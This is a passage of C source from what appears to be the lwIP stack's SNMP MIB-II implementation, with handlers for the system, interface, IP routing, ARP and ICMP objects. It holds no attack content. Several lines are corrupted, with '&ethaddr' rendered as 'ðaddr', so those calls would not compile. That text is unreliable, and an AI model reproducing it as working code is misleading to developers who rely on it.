* @param ocstr if non-NULL then copy str pointer
* @param ocstrlen points to string length, excluding zero terminator.
* if set to NULL it is assumed that ocstr is NULL-terminated.
* @param bufsize size of the buffer in bytes.
* (this is required because the buffer can be overwritten by snmp-set)
* if ocstrlen is NULL buffer needs space for terminating 0 byte.
* otherwise complete buffer is used for string.
* if bufsize is set to 0, the value is regarded as read-only.
*/
void snmp_mib2_set_syslocation(u8_t *ocstr, u16_t *ocstrlen, u16_t bufsize)
{
if (ocstr != NULL) {
syslocation = ocstr;
syslocation_wr = ocstr;
syslocation_len = ocstrlen;
syslocation_wr_len = ocstrlen;
syslocation_bufsize = bufsize;
}
}
void snmp_mib2_set_syslocation_readonly(const u8_t *ocstr, const u16_t *ocstrlen)
{
if (ocstr != NULL) {
syslocation = ocstr;
syslocation_len = ocstrlen;
syslocation_wr = NULL;
syslocation_wr_len = NULL;
syslocation_bufsize = 0;
}
}
/* --- system .1.3.6.1.2.1.1 ----------------------------------------------------- */
static u16_t
system_get_value(const struct snmp_scalar_array_node_def *node, void *value)
{
const u8_t* var = NULL;
const u16_t* var_len;
u16_t result;
switch (node->oid) {
case 1: /* sysDescr */
var = sysdescr;
var_len = sysdescr_len;
break;
case 2: /* sysObjectID */
{
const struct snmp_obj_id* dev_enterprise_oid = snmp_get_device_enterprise_oid();
MEMCPY(value, dev_enterprise_oid->id, dev_enterprise_oid->len * sizeof(u32_t));
return dev_enterprise_oid->len * sizeof(u32_t);
}
case 3: /* sysUpTime */
MIB2_COPY_SYSUPTIME_TO((u32_t*)value);
return sizeof(u32_t);
case 4: /* sysContact */
var = syscontact;
var_len = syscontact_len;
break;
case 5: /* sysName */
var = sysname;
var_len = sysname_len;
break;
case 6: /* sysLocation */
var = syslocation;
var_len = syslocation_len;
break;
case 7: /* sysServices */
*(s32_t*)value = SNMP_SYSSERVICES;
return sizeof(s32_t);
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("system_get_value(): unknown id: %"S32_F"\n", node->oid));
return 0;
}
/* handle string values (OID 1,4,5 and 6) */
LWIP_ASSERT("", (value != NULL));
if (var_len == NULL) {
result = (u16_t)strlen((const char*)var);
} else {
result = *var_len;
}
MEMCPY(value, var, result);
return result;
}
static snmp_err_t
system_set_test(const struct snmp_scalar_array_node_def *node, u16_t len, void *value)
{
snmp_err_t ret = SNMP_ERR_WRONGVALUE;
const u16_t* var_bufsize = NULL;
const u16_t* var_wr_len;
LWIP_UNUSED_ARG(value);
switch (node->oid) {
case 4: /* sysContact */
var_bufsize = &syscontact_bufsize;
var_wr_len = syscontact_wr_len;
break;
case 5: /* sysName */
var_bufsize = &sysname_bufsize;
var_wr_len = sysname_wr_len;
break;
case 6: /* sysLocation */
var_bufsize = &syslocation_bufsize;
var_wr_len = syslocation_wr_len;
break;
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("system_set_test(): unknown id: %"S32_F"\n", node->oid));
return ret;
}
/* check if value is writable at all */
if (*var_bufsize > 0) {
if (var_wr_len == NULL) {
/* we have to take the terminating 0 into account */
if (len < *var_bufsize) {
ret = SNMP_ERR_NOERROR;
}
} else {
if (len <= *var_bufsize) {
ret = SNMP_ERR_NOERROR;
}
}
} else {
ret = SNMP_ERR_NOTWRITABLE;
}
return ret;
}
static snmp_err_t
system_set_value(const struct snmp_scalar_array_node_def *node, u16_t len, void *value)
{
u8_t* var_wr = NULL;
u16_t* var_wr_len;
switch (node->oid) {
case 4: /* sysContact */
var_wr = syscontact_wr;
var_wr_len = syscontact_wr_len;
break;
case 5: /* sysName */
var_wr = sysname_wr;
var_wr_len = sysname_wr_len;
break;
case 6: /* sysLocation */
var_wr = syslocation_wr;
var_wr_len = syslocation_wr_len;
break;
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("system_set_value(): unknown id: %"S32_F"\n", node->oid));
return SNMP_ERR_GENERROR;
}
/* no need to check size of target buffer, this was already done in set_test method */
LWIP_ASSERT("", var_wr != NULL);
MEMCPY(var_wr, value, len);
if (var_wr_len == NULL) {
/* add terminating 0 */
var_wr[len] = 0;
} else {
*var_wr_len = len;
}
return SNMP_ERR_NOERROR;
}
/* --- interfaces .1.3.6.1.2.1.2 ----------------------------------------------------- */
static u16_t
interfaces_get_value(struct snmp_node_instance* instance, void* value)
{
if (instance->node->oid == 1) {
s32_t *sint_ptr = (s32_t*)value;
s32_t num_netifs = 0;
struct netif *netif = netif_list;
while (netif != NULL) {
num_netifs++;
netif = netif->next;
}
*sint_ptr = num_netifs;
return sizeof(*sint_ptr);
}
return 0;
}
/* list of allowed value ranges for incoming OID */
static const struct snmp_oid_range interfaces_Table_oid_ranges[] = {
{ 1, 0xff } /* netif->num is u8_t */
};
static const u8_t iftable_ifOutQLen = 0;
static const u8_t iftable_ifOperStatus_up = 1;
static const u8_t iftable_ifOperStatus_down = 2;
static const u8_t iftable_ifAdminStatus_up = 1;
static const u8_t iftable_ifAdminStatus_lowerLayerDown = 7;
static const u8_t iftable_ifAdminStatus_down = 2;
static snmp_err_t interfaces_Table_get_cell_instance(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, struct snmp_node_instance* cell_instance)
{
u32_t ifIndex;
struct netif *netif;
LWIP_UNUSED_ARG(column);
/* check if incoming OID length and if values are in plausible range */
if(!snmp_oid_in_range(row_oid, row_oid_len, interfaces_Table_oid_ranges, LWIP_ARRAYSIZE(interfaces_Table_oid_ranges))) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* get netif index from incoming OID */
ifIndex = row_oid[0];
/* find netif with index */
netif = netif_list;
while (netif != NULL) {
if(netif_to_num(netif) == ifIndex) {
/* store netif pointer for subsequent operations (get/test/set) */
cell_instance->reference.ptr = netif;
return SNMP_ERR_NOERROR;
}
netif = netif->next;
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t interfaces_Table_get_next_cell_instance(const u32_t* column, struct snmp_obj_id* row_oid, struct snmp_node_instance* cell_instance)
{
struct netif *netif;
struct snmp_next_oid_state state;
u32_t result_temp[LWIP_ARRAYSIZE(interfaces_Table_oid_ranges)];
LWIP_UNUSED_ARG(column);
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(interfaces_Table_oid_ranges));
/* iterate over all possible OIDs to find the next one */
netif = netif_list;
while (netif != NULL) {
u32_t test_oid[LWIP_ARRAYSIZE(interfaces_Table_oid_ranges)];
test_oid[0] = netif_to_num(netif);
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, LWIP_ARRAYSIZE(interfaces_Table_oid_ranges), netif);
netif = netif->next;
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* store netif pointer for subsequent operations (get/test/set) */
cell_instance->reference.ptr = /* (struct netif*) */state.reference;
return SNMP_ERR_NOERROR;
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static u16_t interfaces_Table_get_value(struct snmp_node_instance* instance, void* value)
{
struct netif *netif = (struct netif*)instance->reference.ptr;
u32_t* value_u32 = (u32_t*)value;
s32_t* value_s32 = (s32_t*)value;
u16_t value_len;
switch (SNMP_TABLE_GET_COLUMN_FROM_OID(instance->instance_oid.id))
{
case 1: /* ifIndex */
*value_s32 = netif_to_num(netif);
value_len = sizeof(*value_s32);
break;
case 2: /* ifDescr */
value_len = sizeof(netif->name);
MEMCPY(value, netif->name, value_len);
break;
case 3: /* ifType */
*value_s32 = netif->link_type;
value_len = sizeof(*value_s32);
break;
case 4: /* ifMtu */
*value_s32 = netif->mtu;
value_len = sizeof(*value_s32);
break;
case 5: /* ifSpeed */
*value_u32 = netif->link_speed;
value_len = sizeof(*value_u32);
break;
case 6: /* ifPhysAddress */
value_len = sizeof(netif->hwaddr);
MEMCPY(value, &netif->hwaddr, value_len);
break;
case 7: /* ifAdminStatus */
if (netif_is_up(netif)) {
*value_s32 = iftable_ifOperStatus_up;
} else {
*value_s32 = iftable_ifOperStatus_down;
}
value_len = sizeof(*value_s32);
break;
case 8: /* ifOperStatus */
if (netif_is_up(netif)) {
if (netif_is_link_up(netif)) {
*value_s32 = iftable_ifAdminStatus_up;
} else {
*value_s32 = iftable_ifAdminStatus_lowerLayerDown;
}
} else {
*value_s32 = iftable_ifAdminStatus_down;
}
value_len = sizeof(*value_s32);
break;
case 9: /* ifLastChange */
*value_u32 = netif->ts;
value_len = sizeof(*value_u32);
break;
case 10: /* ifInOctets */
*value_u32 = netif->mib2_counters.ifinoctets;
value_len = sizeof(*value_u32);
break;
case 11: /* ifInUcastPkts */
*value_u32 = netif->mib2_counters.ifinucastpkts;
value_len = sizeof(*value_u32);
break;
case 12: /* ifInNUcastPkts */
*value_u32 = netif->mib2_counters.ifinnucastpkts;
value_len = sizeof(*value_u32);
break;
case 13: /* ifInDiscards */
*value_u32 = netif->mib2_counters.ifindiscards;
value_len = sizeof(*value_u32);
break;
case 14: /* ifInErrors */
*value_u32 = netif->mib2_counters.ifinerrors;
value_len = sizeof(*value_u32);
break;
case 15: /* ifInUnkownProtos */
*value_u32 = netif->mib2_counters.ifinunknownprotos;
value_len = sizeof(*value_u32);
break;
case 16: /* ifOutOctets */
*value_u32 = netif->mib2_counters.ifoutoctets;
value_len = sizeof(*value_u32);
break;
case 17: /* ifOutUcastPkts */
*value_u32 = netif->mib2_counters.ifoutucastpkts;
value_len = sizeof(*value_u32);
break;
case 18: /* ifOutNUcastPkts */
*value_u32 = netif->mib2_counters.ifoutnucastpkts;
value_len = sizeof(*value_u32);
break;
case 19: /* ifOutDiscarts */
*value_u32 = netif->mib2_counters.ifoutdiscards;
value_len = sizeof(*value_u32);
break;
case 20: /* ifOutErrors */
*value_u32 = netif->mib2_counters.ifouterrors;
value_len = sizeof(*value_u32);
break;
case 21: /* ifOutQLen */
*value_u32 = iftable_ifOutQLen;
value_len = sizeof(*value_u32);
break;
/** @note returning zeroDotZero (0.0) no media specific MIB support */
case 22: /* ifSpecific */
value_len = snmp_zero_dot_zero.len * sizeof(u32_t);
MEMCPY(value, snmp_zero_dot_zero.id, value_len);
break;
default:
return 0;
}
return value_len;
}
#if !SNMP_SAFE_REQUESTS
static snmp_err_t interfaces_Table_set_test(struct snmp_node_instance* instance, u16_t len, void *value)
{
s32_t *sint_ptr = (s32_t*)value;
/* stack should never call this method for another column,
because all other columns are set to readonly */
LWIP_ASSERT("Invalid column", (SNMP_TABLE_GET_COLUMN_FROM_OID(instance->instance_oid.id) == 7));
LWIP_UNUSED_ARG(len);
if (*sint_ptr == 1 || *sint_ptr == 2)
{
return SNMP_ERR_NOERROR;
}
return SNMP_ERR_WRONGVALUE;
}
static snmp_err_t interfaces_Table_set_value(struct snmp_node_instance* instance, u16_t len, void *value)
{
struct netif *netif = (struct netif*)instance->reference.ptr;
s32_t *sint_ptr = (s32_t*)value;
/* stack should never call this method for another column,
because all other columns are set to readonly */
LWIP_ASSERT("Invalid column", (SNMP_TABLE_GET_COLUMN_FROM_OID(instance->instance_oid.id) == 7));
LWIP_UNUSED_ARG(len);
if (*sint_ptr == 1) {
netif_set_up(netif);
} else if (*sint_ptr == 2) {
netif_set_down(netif);
}
return SNMP_ERR_NOERROR;
}
#endif /* SNMP_SAFE_REQUESTS */
#if LWIP_IPV4
/* --- ip .1.3.6.1.2.1.4 ----------------------------------------------------- */
static u16_t
ip_get_value(struct snmp_node_instance* instance, void* value)
{
s32_t* sint_ptr = (s32_t*)value;
u32_t* uint_ptr = (u32_t*)value;
switch (instance->node->oid) {
case 1: /* ipForwarding */
#if IP_FORWARD
/* forwarding */
*sint_ptr = 1;
#else
/* not-forwarding */
*sint_ptr = 2;
#endif
return sizeof(*sint_ptr);
case 2: /* ipDefaultTTL */
*sint_ptr = IP_DEFAULT_TTL;
return sizeof(*sint_ptr);
case 3: /* ipInReceives */
*uint_ptr = STATS_GET(mib2.ipinreceives);
return sizeof(*uint_ptr);
case 4: /* ipInHdrErrors */
*uint_ptr = STATS_GET(mib2.ipinhdrerrors);
return sizeof(*uint_ptr);
case 5: /* ipInAddrErrors */
*uint_ptr = STATS_GET(mib2.ipinaddrerrors);
return sizeof(*uint_ptr);
case 6: /* ipForwDatagrams */
*uint_ptr = STATS_GET(mib2.ipforwdatagrams);
return sizeof(*uint_ptr);
case 7: /* ipInUnknownProtos */
*uint_ptr = STATS_GET(mib2.ipinunknownprotos);
return sizeof(*uint_ptr);
case 8: /* ipInDiscards */
*uint_ptr = STATS_GET(mib2.ipindiscards);
return sizeof(*uint_ptr);
case 9: /* ipInDelivers */
*uint_ptr = STATS_GET(mib2.ipindelivers);
return sizeof(*uint_ptr);
case 10: /* ipOutRequests */
*uint_ptr = STATS_GET(mib2.ipoutrequests);
return sizeof(*uint_ptr);
case 11: /* ipOutDiscards */
*uint_ptr = STATS_GET(mib2.ipoutdiscards);
return sizeof(*uint_ptr);
case 12: /* ipOutNoRoutes */
*uint_ptr = STATS_GET(mib2.ipoutnoroutes);
return sizeof(*uint_ptr);
case 13: /* ipReasmTimeout */
#if IP_REASSEMBLY
*sint_ptr = IP_REASS_MAXAGE;
#else
*sint_ptr = 0;
#endif
return sizeof(*sint_ptr);
case 14: /* ipReasmReqds */
*uint_ptr = STATS_GET(mib2.ipreasmreqds);
return sizeof(*uint_ptr);
case 15: /* ipReasmOKs */
*uint_ptr = STATS_GET(mib2.ipreasmoks);
return sizeof(*uint_ptr);
case 16: /* ipReasmFails */
*uint_ptr = STATS_GET(mib2.ipreasmfails);
return sizeof(*uint_ptr);
case 17: /* ipFragOKs */
*uint_ptr = STATS_GET(mib2.ipfragoks);
return sizeof(*uint_ptr);
case 18: /* ipFragFails */
*uint_ptr = STATS_GET(mib2.ipfragfails);
return sizeof(*uint_ptr);
case 19: /* ipFragCreates */
*uint_ptr = STATS_GET(mib2.ipfragcreates);
return sizeof(*uint_ptr);
case 23: /* ipRoutingDiscards: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("ip_get_value(): unknown id: %"S32_F"\n", instance->node->oid));
break;
}
return 0;
}
/**
* Test ip object value before setting.
*
* @param od is the object definition
* @param len return value space (in bytes)
* @param value points to (varbind) space to copy value from.
*
* @note we allow set if the value matches the hardwired value,
* otherwise return badvalue.
*/
static snmp_err_t
ip_set_test(struct snmp_node_instance* instance, u16_t len, void *value)
{
snmp_err_t ret = SNMP_ERR_WRONGVALUE;
s32_t *sint_ptr = (s32_t*)value;
LWIP_UNUSED_ARG(len);
switch (instance->node->oid) {
case 1: /* ipForwarding */
#if IP_FORWARD
/* forwarding */
if (*sint_ptr == 1)
#else
/* not-forwarding */
if (*sint_ptr == 2)
#endif
{
ret = SNMP_ERR_NOERROR;
}
break;
case 2: /* ipDefaultTTL */
if (*sint_ptr == IP_DEFAULT_TTL) {
ret = SNMP_ERR_NOERROR;
}
break;
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("ip_set_test(): unknown id: %"S32_F"\n", instance->node->oid));
break;
}
return ret;
}
static snmp_err_t
ip_set_value(struct snmp_node_instance* instance, u16_t len, void *value)
{
LWIP_UNUSED_ARG(instance);
LWIP_UNUSED_ARG(len);
LWIP_UNUSED_ARG(value);
/* nothing to do here because in set_test we only accept values being the same as our own stored value -> no need to store anything */
return SNMP_ERR_NOERROR;
}
/* --- ipAddrTable --- */
/* list of allowed value ranges for incoming OID */
static const struct snmp_oid_range ip_AddrTable_oid_ranges[] = {
{ 0, 0xff }, /* IP A */
{ 0, 0xff }, /* IP B */
{ 0, 0xff }, /* IP C */
{ 0, 0xff } /* IP D */
};
static snmp_err_t
ip_AddrTable_get_cell_value_core(struct netif *netif, const u32_t* column, union snmp_variant_value* value, u32_t* value_len)
{
LWIP_UNUSED_ARG(value_len);
switch (*column) {
case 1: /* ipAdEntAddr */
value->u32 = netif_ip4_addr(netif)->addr;
break;
case 2: /* ipAdEntIfIndex */
value->u32 = netif_to_num(netif);
break;
case 3: /* ipAdEntNetMask */
value->u32 = netif_ip4_netmask(netif)->addr;
break;
case 4: /* ipAdEntBcastAddr */
/* lwIP oddity, there's no broadcast
address in the netif we can rely on */
value->u32 = IPADDR_BROADCAST & 1;
break;
case 5: /* ipAdEntReasmMaxSize */
#if IP_REASSEMBLY
/* @todo The theoretical maximum is IP_REASS_MAX_PBUFS * size of the pbufs,
* but only if receiving one fragmented packet at a time.
* The current solution is to calculate for 2 simultaneous packets...
*/
value->u32 = (IP_HLEN + ((IP_REASS_MAX_PBUFS/2) *
(PBUF_POOL_BUFSIZE - PBUF_LINK_ENCAPSULATION_HLEN - PBUF_LINK_HLEN - IP_HLEN)));
#else
/** @todo returning MTU would be a bad thing and
returning a wild guess like '576' isn't good either */
value->u32 = 0;
#endif
break;
default:
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
ip_AddrTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
ip4_addr_t ip;
struct netif *netif;
/* check if incoming OID length and if values are in plausible range */
if(!snmp_oid_in_range(row_oid, row_oid_len, ip_AddrTable_oid_ranges, LWIP_ARRAYSIZE(ip_AddrTable_oid_ranges))) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* get IP from incoming OID */
snmp_oid_to_ip4(&row_oid[0], &ip); /* we know it succeeds because of oid_in_range check above */
/* find netif with requested ip */
netif = netif_list;
while (netif != NULL) {
if(ip4_addr_cmp(&ip, netif_ip4_addr(netif))) {
/* fill in object properties */
return ip_AddrTable_get_cell_value_core(netif, column, value, value_len);
}
netif = netif->next;
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
ip_AddrTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
struct netif *netif;
struct snmp_next_oid_state state;
u32_t result_temp[LWIP_ARRAYSIZE(ip_AddrTable_oid_ranges)];
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(ip_AddrTable_oid_ranges));
/* iterate over all possible OIDs to find the next one */
netif = netif_list;
while (netif != NULL) {
u32_t test_oid[LWIP_ARRAYSIZE(ip_AddrTable_oid_ranges)];
snmp_ip4_to_oid(netif_ip4_addr(netif), &test_oid[0]);
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, LWIP_ARRAYSIZE(ip_AddrTable_oid_ranges), netif);
netif = netif->next;
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return ip_AddrTable_get_cell_value_core((struct netif*)state.reference, column, value, value_len);
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
/* --- ipRouteTable --- */
/* list of allowed value ranges for incoming OID */
static const struct snmp_oid_range ip_RouteTable_oid_ranges[] = {
{ 0, 0xff }, /* IP A */
{ 0, 0xff }, /* IP B */
{ 0, 0xff }, /* IP C */
{ 0, 0xff }, /* IP D */
};
static snmp_err_t
ip_RouteTable_get_cell_value_core(struct netif *netif, u8_t default_route, const u32_t* column, union snmp_variant_value* value, u32_t* value_len)
{
switch (*column) {
case 1: /* ipRouteDest */
if (default_route) {
/* default rte has 0.0.0.0 dest */
value->u32 = IP4_ADDR_ANY->addr;
} else {
/* netifs have netaddress dest */
ip4_addr_t tmp;
ip4_addr_get_network(&tmp, netif_ip4_addr(netif), netif_ip4_netmask(netif));
value->u32 = tmp.addr;
}
break;
case 2: /* ipRouteIfIndex */
value->u32 = netif_to_num(netif);
break;
case 3: /* ipRouteMetric1 */
if (default_route) {
value->s32 = 1; /* default */
} else {
value->s32 = 0; /* normal */
}
break;
case 4: /* ipRouteMetric2 */
case 5: /* ipRouteMetric3 */
case 6: /* ipRouteMetric4 */
value->s32 = -1; /* none */
break;
case 7: /* ipRouteNextHop */
if (default_route) {
/* default rte: gateway */
value->u32 = netif_ip4_gw(netif)->addr;
} else {
/* other rtes: netif ip_addr */
value->u32 = netif_ip4_addr(netif)->addr;
}
break;
case 8: /* ipRouteType */
if (default_route) {
/* default rte is indirect */
value->u32 = 4; /* indirect */
} else {
/* other rtes are direct */
value->u32 = 3; /* direct */
}
break;
case 9: /* ipRouteProto */
/* locally defined routes */
value->u32 = 2; /* local */
break;
case 10: /* ipRouteAge */
/* @todo (sysuptime - timestamp last change) / 100 */
value->u32 = 0;
break;
case 11: /* ipRouteMask */
if (default_route) {
/* default rte use 0.0.0.0 mask */
value->u32 = IP4_ADDR_ANY->addr;
} else {
/* other rtes use netmask */
value->u32 = netif_ip4_netmask(netif)->addr;
}
break;
case 12: /* ipRouteMetric5 */
value->s32 = -1; /* none */
break;
case 13: /* ipRouteInfo */
value->const_ptr = snmp_zero_dot_zero.id;
*value_len = snmp_zero_dot_zero.len * sizeof(u32_t);
break;
default:
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
ip_RouteTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
ip4_addr_t test_ip;
struct netif *netif;
/* check if incoming OID length and if values are in plausible range */
if(!snmp_oid_in_range(row_oid, row_oid_len, ip_RouteTable_oid_ranges, LWIP_ARRAYSIZE(ip_RouteTable_oid_ranges))) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* get IP and port from incoming OID */
snmp_oid_to_ip4(&row_oid[0], &test_ip); /* we know it succeeds because of oid_in_range check above */
/* default route is on default netif */
if(ip4_addr_isany_val(test_ip) && (netif_default != NULL)) {
/* fill in object properties */
return ip_RouteTable_get_cell_value_core(netif_default, 1, column, value, value_len);
}
/* find netif with requested route */
netif = netif_list;
while (netif != NULL) {
ip4_addr_t dst;
ip4_addr_get_network(&dst, netif_ip4_addr(netif), netif_ip4_netmask(netif));
if(ip4_addr_cmp(&dst, &test_ip)) {
/* fill in object properties */
return ip_RouteTable_get_cell_value_core(netif, 0, column, value, value_len);
}
netif = netif->next;
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
ip_RouteTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
struct netif *netif;
struct snmp_next_oid_state state;
u32_t result_temp[LWIP_ARRAYSIZE(ip_RouteTable_oid_ranges)];
u32_t test_oid[LWIP_ARRAYSIZE(ip_RouteTable_oid_ranges)];
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(ip_RouteTable_oid_ranges));
/* check default route */
if(netif_default != NULL) {
snmp_ip4_to_oid(IP4_ADDR_ANY, &test_oid[0]);
snmp_next_oid_check(&state, test_oid, LWIP_ARRAYSIZE(ip_RouteTable_oid_ranges), netif_default);
}
/* iterate over all possible OIDs to find the next one */
netif = netif_list;
while (netif != NULL) {
ip4_addr_t dst;
ip4_addr_get_network(&dst, netif_ip4_addr(netif), netif_ip4_netmask(netif));
/* check generated OID: is it a candidate for the next one? */
if (!ip4_addr_isany_val(dst)) {
snmp_ip4_to_oid(&dst, &test_oid[0]);
snmp_next_oid_check(&state, test_oid, LWIP_ARRAYSIZE(ip_RouteTable_oid_ranges), netif);
}
netif = netif->next;
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
ip4_addr_t dst;
snmp_oid_to_ip4(&result_temp[0], &dst);
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return ip_RouteTable_get_cell_value_core((struct netif*)state.reference, ip4_addr_isany_val(dst), column, value, value_len);
} else {
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
}
/* --- ipNetToMediaTable --- */
/* list of allowed value ranges for incoming OID */
static const struct snmp_oid_range ip_NetToMediaTable_oid_ranges[] = {
{ 1, 0xff }, /* IfIndex */
{ 0, 0xff }, /* IP A */
{ 0, 0xff }, /* IP B */
{ 0, 0xff }, /* IP C */
{ 0, 0xff } /* IP D */
};
static snmp_err_t
ip_NetToMediaTable_get_cell_value_core(u8_t arp_table_index, const u32_t* column, union snmp_variant_value* value, u32_t* value_len)
{
ip4_addr_t *ip;
struct netif *netif;
struct eth_addr *ethaddr;
etharp_get_entry(arp_table_index, &ip, &netif, ðaddr);
/* value */
switch (*column) {
case 1: /* atIfIndex / ipNetToMediaIfIndex */
value->u32 = netif_to_num(netif);
break;
case 2: /* atPhysAddress / ipNetToMediaPhysAddress */
value->ptr = ethaddr;
*value_len = sizeof(*ethaddr);
break;
case 3: /* atNetAddress / ipNetToMediaNetAddress */
value->u32 = ip->addr;
break;
case 4: /* ipNetToMediaType */
value->u32 = 3; /* dynamic*/
break;
default:
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
ip_NetToMediaTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
ip4_addr_t ip_in;
u8_t netif_index;
u8_t i;
/* check if incoming OID length and if values are in plausible range */
if(!snmp_oid_in_range(row_oid, row_oid_len, ip_NetToMediaTable_oid_ranges, LWIP_ARRAYSIZE(ip_NetToMediaTable_oid_ranges))) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* get IP from incoming OID */
netif_index = (u8_t)row_oid[0];
snmp_oid_to_ip4(&row_oid[1], &ip_in); /* we know it succeeds because of oid_in_range check above */
/* find requested entry */
for(i=0; i<ARP_TABLE_SIZE; i++) {
ip4_addr_t *ip;
struct netif *netif;
struct eth_addr *ethaddr;
if(etharp_get_entry(i, &ip, &netif, ðaddr)) {
if((netif_index == netif_to_num(netif)) && ip4_addr_cmp(&ip_in, ip)) {
/* fill in object properties */
return ip_NetToMediaTable_get_cell_value_core(i, column, value, value_len);
}
}
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
ip_NetToMediaTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
u8_t i;
struct snmp_next_oid_state state;
u32_t result_temp[LWIP_ARRAYSIZE(ip_NetToMediaTable_oid_ranges)];
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(ip_NetToMediaTable_oid_ranges));
/* iterate over all possible OIDs to find the next one */
for(i=0; i<ARP_TABLE_SIZE; i++) {
ip4_addr_t *ip;
struct netif *netif;
struct eth_addr *ethaddr;
if(etharp_get_entry(i, &ip, &netif, ðaddr)) {
u32_t test_oid[LWIP_ARRAYSIZE(ip_NetToMediaTable_oid_ranges)];
test_oid[0] = netif_to_num(netif);
snmp_ip4_to_oid(ip, &test_oid[1]);
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, LWIP_ARRAYSIZE(ip_NetToMediaTable_oid_ranges), (void*)(size_t)i);
}
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return ip_NetToMediaTable_get_cell_value_core((u8_t)(size_t)state.reference, column, value, value_len);
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
#endif /* LWIP_IPV4 */
/* --- icmp .1.3.6.1.2.1.5 ----------------------------------------------------- */
#if LWIP_ICMP
static u16_t
icmp_get_value(const struct snmp_scalar_array_node_def *node, void *value)
{
u32_t *uint_ptr = (u32_t*)value;
switch (node->oid) {
case 1: /* icmpInMsgs */
*uint_ptr = STATS_GET(mib2.icmpinmsgs);
return sizeof(*uint_ptr);
case 2: /* icmpInErrors */
*uint_ptr = STATS_GET(mib2.icmpinerrors);
return sizeof(*uint_ptr);
case 3: /* icmpInDestUnreachs */
*uint_ptr = STATS_GET(mib2.icmpindestunreachs);
return sizeof(*uint_ptr);
case 4: /* icmpInTimeExcds */
*uint_ptr = STATS_GET(mib2.icmpintimeexcds);
return sizeof(*uint_ptr);
case 5: /* icmpInParmProbs */
*uint_ptr = STATS_GET(mib2.icmpinparmprobs);
return sizeof(*uint_ptr);
case 6: /* icmpInSrcQuenchs */
*uint_ptr = STATS_GET(mib2.icmpinsrcquenchs);
return sizeof(*uint_ptr);
case 7: /* icmpInRedirects */
*uint_ptr = STATS_GET(mib2.icmpinredirects);
return sizeof(*uint_ptr);
case 8: /* icmpInEchos */
*uint_ptr = STATS_GET(mib2.icmpinechos);
return sizeof(*uint_ptr);
case 9: /* icmpInEchoReps */
*uint_ptr = STATS_GET(mib2.icmpinechoreps);
return sizeof(*uint_ptr);
case 10: /* icmpInTimestamps */
*uint_ptr = STATS_GET(mib2.icmpintimestamps);
return sizeof(*uint_ptr);
case 11: /* icmpInTimestampReps */
*uint_ptr = STATS_GET(mib2.icmpintimestampreps);
return sizeof(*uint_ptr);
case 12: /* icmpInAddrMasks */
*uint_ptr = STATS_GET(mib2.icmpinaddrmasks);
return sizeof(*uint_ptr);
case 13: /* icmpInAddrMaskReps */
*uint_ptr = STATS_GET(mib2.icmpinaddrmaskreps);
return sizeof(*uint_ptr);
case 14: /* icmpOutMsgs */
*uint_ptr = STATS_GET(mib2.icmpoutmsgs);
return sizeof(*uint_ptr);
case 15: /* icmpOutErrors */
*uint_ptr = STATS_GET(mib2.icmpouterrors);
return sizeof(*uint_ptr);
case 16: /* icmpOutDestUnreachs */
*uint_ptr = STATS_GET(mib2.icmpoutdestunreachs);
